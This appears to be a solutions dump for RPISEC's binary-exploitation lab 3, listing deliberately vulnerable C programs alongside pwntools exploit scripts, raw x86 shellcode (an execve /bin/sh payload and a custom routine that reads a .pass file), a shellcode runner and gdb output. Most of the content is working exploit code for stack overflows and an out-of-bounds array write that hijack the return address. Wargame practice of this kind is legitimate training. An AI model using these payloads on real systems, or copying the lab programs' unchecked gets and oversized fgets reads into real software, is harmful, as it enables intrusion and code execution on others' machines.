1
2
3
4
5

nasm -f elf [FILE].s
ld -o [FILE] [FILE].o
ld -m elf_i386 -s -o [FILE] [FILE].o
objdump -M intel -d [FILE] # SHELL STRING for python
python -c "x = "[SHELL]"; print "\\x".join(a+b for a,b in zip(x[::2],x[1::2]))"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* gcc -z execstack -fno-stack-protector -o lab3C lab3C.c */

char a_user_name[100];

int verify_user_name()
{
    puts("verifying username....\n");
    return strncmp(a_user_name, "rpisec", 6);
}

int verify_user_pass(char *a_user_pass)
{
    return strncmp(a_user_pass, "admin", 5);
}

int main()
{
    char a_user_pass[64] = {0};
    int x = 0;

    /* prompt for the username - read 100 byes */
    printf("********* ADMIN LOGIN PROMPT *********\n");
    printf("Enter Username: ");
    fgets(a_user_name, 0x100, stdin);

    /* verify input username */
    x = verify_user_name();
    if (x != 0){
        puts("nope, incorrect username...\n");
        return EXIT_FAILURE;
    }

    /* prompt for admin password - read 64 bytes */
    printf("Enter Password: \n");
    fgets(a_user_pass, 0x64, stdin);

    /* verify input password */
    x = verify_user_pass(a_user_pass);
    if (x == 0 || x != 0){
        puts("nope, incorrect password...\n");
        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

from pwn import *
#python 2 ==> byte arrays
#python 3 ==> arrays of UTF-8 encoded chars

#source: https://www.exploit-db.com/shellcodes/41757
shell = "\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
user = "rpisec"
_pass = "admin"
payload ="rpisec"+ "\x90" * (0x100 - len(shell) - 7) + shell #fills whole 0x100 with 0x90 and shell (6+1 NULL for string)

addr = p32(0x8049c48) #a_user_name addr, address to jump to
offset = 0xffffd07c - 0xffffd02c #80
payload_2 = "A" * offset +  addr

print(payload + payload_2)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

#include <signal.h>
#include <assert.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <sys/prctl.h>
#include <wait.h>
#include "utils.h"

ENABLE_TIMEOUT(60)

/* gcc -z execstack -fno-stack-protector -o lab3B lab3B.c */

/* hint: write shellcode that opens and reads the .pass file.
   ptrace() is meant to deter you from using /bin/sh shellcode */

int main()
{
    pid_t child = fork();
    char buffer[128] = {0};
    int syscall = 0;
    int status = 0;

    if(child == 0)
    {
        prctl(PR_SET_PDEATHSIG, SIGHUP);
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);

        /* this is all you need to worry about */
        puts("just give me some shellcode, k");
        gets(buffer);
    }
    else
    {
        /* mini exec() sandbox, you can ignore this */
        while(1)
        {
            wait(&status);
            if (WIFEXITED(status) || WIFSIGNALED(status)){
                puts("child is exiting...");
                break;
            }

            /* grab the syscall # */
            syscall = ptrace(PTRACE_PEEKUSER, child, 4 * ORIG_EAX, NULL);

            /* filter out syscall 11, exec */
            if(syscall == 11)
            {
                printf("no exec() for you\n");
                kill(child, SIGKILL);
                break;
            }
        }
    }

    return EXIT_SUCCESS;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

[-------------------------------------code-------------------------------------]
   0x8048aea <main+347>:	pop    ebx
   0x8048aeb <main+348>:	pop    edi
   0x8048aec <main+349>:	pop    ebp
=> 0x8048aed <main+350>:	ret    
   0x8048aee:	xchg   ax,ax
   0x8048af0 <__libc_csu_init>:	push   ebp
   0x8048af1 <__libc_csu_init+1>:	push   edi
   0x8048af2 <__libc_csu_init+2>:	xor    edi,edi
[------------------------------------stack-------------------------------------]
0000| 0xffffd07c --> 0xf7defe81 (<__libc_start_main+241>:	add    esp,0x10)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

;int main(){
;  char x[50];
;  int fd = open(".pass", O_RDONLY);
;  read(fd, x ,50);
;  write(0, x, 50);
;}
; python -c "print ':'.join(x.encode('hex') for x in '.pass')"
; python one liner
BITS 32

; open system call
xor eax, eax; zero out eax, ecx, edx
xor ecx, ecx; RD_ONLY (0)
push 0x73 ; push   .\0\0\0
push 0x7361702e ; push pass
mov ebx, esp ;address of ".pass"
push 0x5
pop eax ;pop 0x2 (open)
int 0x80

;read 
mov ebx, eax ;return fd to ebx
push 0x3
pop eax ;pop 0x3 into eax (read)
sub esp, 0x32 ; make room for 50 bytes
mov ecx, esp ;give pointer to char *
push 0x32
pop edx ;move 50 size into edx
int 0x80

;write
push 0x4
pop eax ;pop 0x4 (write)
mov bl, 1 ;setup stdout 1
mov ecx, esp ;give pointer to char *
push 0x32
pop edx ;move 50 size into edx
int 0x80

;exit
xor eax, eax
inc al
int 0x80 ;clear eax and fill with 1 for exit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

#include<stdio.h>
#include<string.h>
// gcc -fno-stack-protector  -m32 -z execstack shellcode.c -o shell 
 
unsigned char code[] = \
"YOUR SHELL CODE HERE!!";

int main()
{
 
printf("Shellcode Length: %d\n", strlen(code));

//way 1
(*(void (*)()) code)();

//way 2
//int *ret;
//ret = (int *) &ret +2;
//(*ret) = (int)code;
}

1
2
3
4
5
6
7
8

from pwn import *

shell = "\x31\xc0\x31\xc9\x6a\x73\x68\x2e\x70\x61\x73\x89\xe3\x6a\x05\x58\xcd\x80\x89\xc3\x6a\x03\x58\x83\xec\x32\x89\xe1\x6a\x32\x5a\xcd\x80\x6a\x04\x58\xb3\x01\x89\xe1\x6a\x32\x5a\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"
overflow = 156 - len(shell)
x = 35 
ret_addr = p32(0xffffcfe0)
payload = "\x90"*x + shell + "\x90"*(overflow-x) + ret_addr
print payload

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "utils.h"

#define STORAGE_SIZE 100

/* gcc -Wall -z execstack -o lab3A lab3A.c */

/* get a number from the user and store it */
int store_number(unsigned int * data)
{
    unsigned int input = 0;
    unsigned int index = 0;

    /* get number to store */
    printf(" Number: ");
    input = get_unum();

    /* get index to store at */
    printf(" Index: ");
    index = get_unum();

    /* make sure the slot is not reserved */
    if(index % 3 == 0 || (input >> 24) == 0xb7)
    {
        printf(" *** ERROR! ***\n");
        printf("   This index is reserved for quend!\n");
        printf(" *** ERROR! ***\n");

        return 1;
    }

    /* save the number to data storage */
    data[index] = input;

    return 0;
}

/* returns the contents of a specified storage index */
int read_number(unsigned int * data)
{
    unsigned int index = 0;

    /* get index to read from */
    printf(" Index: ");
    index = get_unum();

    printf(" Number at data[%u] is %u\n", index, data[index]);

    return 0;
}

int main(int argc, char * argv[], char * envp[])
{
    int res = 0;
    char cmd[20] = {0};
    unsigned int data[STORAGE_SIZE] = {0};

    /* doom doesn't like enviroment variables */
    clear_argv(argv);
    clear_envp(envp);

    printf("----------------------------------------------------\n"\
           "  Welcome to quend's crappy number storage service!  \n"\
           "----------------------------------------------------\n"\
           " Commands:                                          \n"\
           "    store - store a number into the data storage    \n"\
           "    read  - read a number from the data storage     \n"\
           "    quit  - exit the program                        \n"\
           "----------------------------------------------------\n"\
           "   quend has reserved some storage for herself :>    \n"\
           "----------------------------------------------------\n"\
           "\n");


    /* command handler loop */
    while(1)
    {
        /* setup for this loop iteration */
        printf("Input command: ");
        res = 1;

        /* read user input, trim newline */
        fgets(cmd, sizeof(cmd), stdin);
        cmd[strlen(cmd)-1] = '\0';

        /* select specified user command */
        if(!strncmp(cmd, "store", 5))
            res = store_number(data);
        else if(!strncmp(cmd, "read", 4))
            res = read_number(data);
        else if(!strncmp(cmd, "quit", 4))
            break;

        /* print the result of our command */
        if(res)
            printf(" Failed to do %s command\n", cmd);
        else
            printf(" Completed %s command successfully\n", cmd);

        memset(cmd, 0, sizeof(cmd));
    }

    return EXIT_SUCCESS;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83

from pwn import *
import binascii

context(arch='i386', os='linux',endian='little', word_size=32)

#spaced below for jumps needed
#original shell had to be modifiied
#//https://www.exploit-db.com/shellcodes/40131
#shell = "\x31\xc0\x50 \x68\x2f\x2f\x73\x68 \x68\x2f\x62\x69\x6e \x87\xe3\xb0\x0b\xcd\x80";

#added jumps for gaps of 4 bytes
#edx was filled and needed to be cleared!
instr = [ "xor eax,eax; \
         xor edx, edx; \ #edx was filled and needed to be clear!!
         push eax;  \
         nop;\
         jmp $+2+4;", 
        "push 0x68732f2f; \
         nop;\
         jmp $+2+4;", 
        "push 0x6e69622f; \
         nop;\
        jmp $+2+4; ",
        "mov ebx,esp; \
        mov al,0xb; \
        int 0x80;\
        nop;\
        nop;" ]


#store index to code
d = {}
index = 0
shell = ""

#create shellcode for every 8 bytes
for x in instr:
    if index % 3 == 0:
        index = index +1
    code =  asm(x)
    d[index] = u32(code[:4]) 
    d[index+1] = u32(code[4:]) 
    shell = shell + code
    index = index + 2

#testing in shellcode.c
#print "\\x".join(x.encode('hex') for x in shell)


ret_addr = 0xffffd07c 
data_addr = 0xffffcf88 
#int array every 4 bytes
#overflow!
i = (436) / 4  

#DEBUG
#context.log_level = 'debug'
p = process('./lab3A')

#gdb process
script = "\
break *main+553\n\
checkpoint\n\
"

#attach gdb
#gdb.attach(p, script)

#override return
p.sendline("store")
p.sendline(str((data_addr+4))) #drop into the first index (0 is blocked)
p.sendline(str(i))

#setup shellcode
for i in range(0,index):
    if i % 3 != 0:
        p.sendline("store")
        p.sendline(str(d[i]))
        p.sendline(str(i))

#should have shell!
p.sendline("quit")
p.interactive()